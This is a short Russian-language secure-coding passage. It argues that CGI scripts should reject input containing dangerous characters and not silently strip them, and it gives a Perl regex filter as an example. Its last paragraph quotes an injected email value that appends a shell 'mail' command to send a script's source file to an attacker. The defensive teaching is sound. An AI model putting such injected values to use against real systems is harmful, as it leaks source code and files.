Существует два подхода к фильтрации пользовательского ввода:
а) выдача сообщения об ошибке и прекращение работы, если обнаружен хотя бы один опасный символ;
б) "выкусывание" всех таких символов без выдачи предупредительных сообщений и продолжение работы.
Последний подход неоправданно популярен вопреки логике и здравому смыслу. Почему? Пусть, например, адрес легального посетителя выглядит так: "horn&hoff@mail.org" Программа фильтрации "видит" потенциально опасный символ "&" и "на всякий случай" решает его удалить, - в результате письмо направляется совсем по другому адресу, а пользователь "ждет у моря погоды", не понимая почему оно до него не дошло.
Если встретился опасный символ – независимо от того, умышленно он вставлен или нет, – использовать такие данные нельзя. Скрипт обязан прекратить работу и объяснить причину своего неудовольствия пользователю.
Поиск заданного перечня символов легче всего осуществляется использованием регулярных выражений, например, так:
if ($filename =~/[<>\|\-&\.\\\/\0]/)
{die "Ошибка ввода! Недопустиый символ \"$&\" \n";}
open(fh, $filename);
...
Перечень потенциально опасных символов зависит от конкретного случая, – создание универсального фильтра "на все случаи жизни" невозможно.
Например, при добавлении новой записи в гостевую книгу разумно выполнить проверку на предмет присутствия "нехороших" тегов, но не стоит запрещать посетителям использовать теги вообще. В то же время, передавая e-mail посетителя внешнему МТА, необходимо убедится в отсутствии символов перенаправления стандартного ввода (синтаксически неотличимых от угловых скобок, обрамляющих тэги), иначе злоумышленник сможет ввести нечто вроде "hacker2000@hotmail.com; mail hacker2000@hotmail.com </www/cgi-bin/mycgi.pl" и получить исходный текст скрипта (или любого другого файла) "с доставкой на дом"!